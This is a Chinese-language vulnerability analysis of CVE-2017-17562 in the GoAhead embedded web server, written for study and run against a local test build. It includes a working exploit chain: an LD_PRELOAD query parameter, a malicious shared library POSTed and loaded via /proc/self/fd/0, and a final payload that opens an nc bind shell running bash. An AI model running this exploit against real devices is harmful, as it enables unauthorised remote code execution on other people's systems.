CVE-2017-17562(GoAhead 远程代码执行漏洞)分析

Table of Contents

GoAhead 是一个流行的嵌入式设备上的 Web 服务器,最近曝光 3.6.5 之前的版本在远程代码执行漏洞。

1. CGI 交互原理简述

由于是在处理 CGI 时导致漏洞的触发,所以在这之前我们先简单了解下 GoAhead 是如何与 CGI 程序交互的。

GoAhead 在 route.txt(/etc/goahead/route.txt)中定义了 URL 路由,GoAhead 根据 URL 路由来决定 URL 的处理方式,比如:

route uri=/cgi-bin dir=cgi-bin handler=cgi

假如访问 /cgi-bin/cgitest,GoAhead 会直接运行网站目录下 cgi-bin 子目录中的 cgitest 程序,然后将 cgitest 的标准输出内容返回给客户端浏览器。

如果 GET 请求中带了参数,GoAhead 会将参数设置成环境变量,CGI 程序直接通过读取环境变量就可以获得参数内容。如:

/cgi-bin/cgitest?username=lu4nx

GoAhead 会在运行 CGI 程序 cgitest 时,先设置环境变量 username=lu4nx。

但是 GoAhead 没有对环境变量严格过滤,请求时可以设置 LD_PRELOAD 环境变量,然后上传恶意的动态链接库文件,导致了任意恶意代码执行。

2. 搭建测试环境

从 GoAhead 的 GitHub 仓库中下载一份老版本的源码,然后编译。我下载的 3.6.4 的:

$ wget 'https://github.com/embedthis/goahead/archive/v3.6.4.zip'
$ unzip v3.6.4.zip && rm -f v3.6.4.zip
$ cd goahead-3.6.4
$ make

项目中提供了测试用的 CGI 代码,直接编译来供测试漏洞所用:

$ gcc test/cgitest.c -o test/cgi-bin/cgitest

运行 GoAhead:

$ cd test/
$ sudo ../build/linux-x64-default/bin/goahead

访问 cgitest:

$ curl localhost/cgi-bin/cgitest

3. 漏洞测试

GoAhead 在执行 CGI 之前,先解析 GET 参数,然后把它们注册为环境变量。

cgiHandler 函数负责处理 CGI 请求,代码位于 src/cgi.c,存在漏洞的关键代码如下:

PUBLIC bool cgiHandler(Webs *wp)
{
  /* ... 此处省略其他代码 ... */

  envpsize = 64;
  envp = walloc(envpsize * sizeof(char*)); /* envp 负责保存环境变量 */
  for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
    if (s->content.valid && s->content.type == string &&
        /* 只是不允许 REMOTE_HOST 和 HTTP_AUTHORIZATION
         * 所以这里导致了漏洞的存在,就能设置 LD_PRELOAD 环境变量
         */
        strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&
        strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {
      envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
      trace(5, "Env[%d] %s", n, envp[n-1]);
      if (n >= envpsize) {
        envpsize *= 2;
        envp = wrealloc(envp, envpsize * sizeof(char *));
      }
    }
  }
  *(envp+n) = NULL;

  /* ... 此处省略其他代码 ... */

  /* launchCgi 负责执行 CGI 程序,并且把 envp 作为预先设置的环境变量传递过去 */
  if ((pHandle = launchCgi(cgiPath, argp, envp, stdIn, stdOut)) == (CgiPid) -1) {
    websError(wp, HTTP_CODE_INTERNAL_SERVER_ERROR, "failed to spawn CGI task");
    for (ep = envp; *ep != NULL; ep++) {
      wfree(*ep);
    }
    wfree(cgiPath);
    wfree(argp);
    wfree(envp);
    wfree(stdOut);
    wfree(query);

  }
  /* ... 此处省略其他代码 ... */
}

借助 cgitest 输出的环境变量,我们先来看传入的 GET 参数是否变成了环境变量:

$ curl localhost/cgi-bin/cgitest?test=hello,world | fgrep hello,world
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1786    0  1786    0     0  88988      0 --:--:-- --:--:-- --:--:-- 89300
<P>QUERY_STRING=test=hello,world</P>
<P>QUERY_STRING=test=hello,world</P>
<P>test=hello,world</P>
<p>QVAR test=hello,world</p>

可见,GoAhead 在执行 cgitest 之前,新增了 test 环境变量,值为 hello,world。

有个特殊的环境变量——LD_PRELOAD,可以让程序执行之前加载指定的 .so 文件。我们做一个测试,新建 poc.c:

#include <stdio.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
  printf("hello world\n");
}

编译成动态链接库:

$ gcc -shared -fPIC poc.c -o poc.so

然后测试:

$ LD_PRELOAD=/tmp/poc.so cat /dev/null
hello world

可见,达到了劫持的效果,让程序在加载动态链接库之前,优先加载了 poc.so。

现在我们借助这个 poc.so 来测试下 GoAhead:

$ curl localhost/cgi-bin/cgitest?LD_PRELOAD=/tmp/poc.so -v
*   Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 80 (#0)
> GET /cgi-bin/cgitest?LD_PRELOAD=/tmp/poc.so HTTP/1.1
> Host: localhost
> User-Agent: curl/7.52.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Fri Dec 29 14:29:21 2017
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Frame-Options: SAMEORIGIN
< Pragma: no-cache
< Cache-Control: no-cache
< hello world

... 省略其他输出 ...

看返回给客户端的 HTTP 头中,已经出现了“hello world”字样。

3.1. 远程上传 so 文件

现在问题来了,客户端如何构造一个恶意的 so 文件上传到服务器上让它执行?

我们来看负责执行 CGI 程序的 launchCgi 函数的关键代码:

static CgiPid launchCgi(char *cgiPath, char **argp, char **envp, char *stdIn, char *stdOut)
{
    int     fdin, fdout, pid;

    trace(5, "cgi: run %s", cgiPath);

    /* 注意这里的 fdin 变量,指向的是传递给 CGI 程序的标准输入 */
    if ((fdin = open(stdIn, O_RDWR | O_CREAT | O_BINARY, 0666)) < 0) {
        error("Cannot open CGI stdin: ", cgiPath);
        return -1;
    }
    if ((fdout = open(stdOut, O_RDWR | O_CREAT | O_TRUNC | O_BINARY, 0666)) < 0) {
        error("Cannot open CGI stdout: ", cgiPath);
        return -1;
    }

    pid = vfork();
    if (pid == 0) {
        /*
         * 通过 dup2 函数,新进程的标准输入指向的还是客户端传递过来的
         */
        if (dup2(fdin, 0) < 0) {
            printf("content-type: text/html\n\nDup of stdin failed\n");
            _exit(1);

        } else if (dup2(fdout, 1) < 0) {
            printf("content-type: text/html\n\nDup of stdout failed\n");
            _exit(1);

        } else if (execve(cgiPath, argp, envp) == -1) {
            printf("content-type: text/html\n\nExecution of cgi process failed\n");
        }
        _exit(0);
    }
    /*
        Parent
     */
    if (fdout >= 0) {
        close(fdout);
    }
    if (fdin >= 0) {
        close(fdin);
    }
    return pid;
}

来理一下逻辑,客户端 POST 提交的内容,会在 launchCgi 新建进程执行 CGI 程序时,通过调用 dup2 函数,将新进程的标准输入指向 POST 内容的文件描述符中。

Linux 中,/proc/self/fd/0 就指向的标准输入,所以最终构造的攻击方式如下:

$ curl -XPOST --data-binary @/tmp/poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 -i | head
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 10160    0  2056  100  8104   1998   7876  0:00:01  0:00:01 --:--:--  7883
HTTP/1.1 200 OK
Date: Fri Dec 29 14:52:00 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello world
content-type:  text/html

可以看到“hello world”字样。

这里可以改一个简单的 nc 后门测试:

#include <stdlib.h>

static void before_main(void)__attribute__((constructor));
static void before_main(void)
{
  system("/bin/nc -l -p 8888 -e /bin/bash");
}

按上面的步骤编译上传,然后用 nc 去连接测试:

$ nc localhost 8888
hostname
lx-debian

4. 参考资料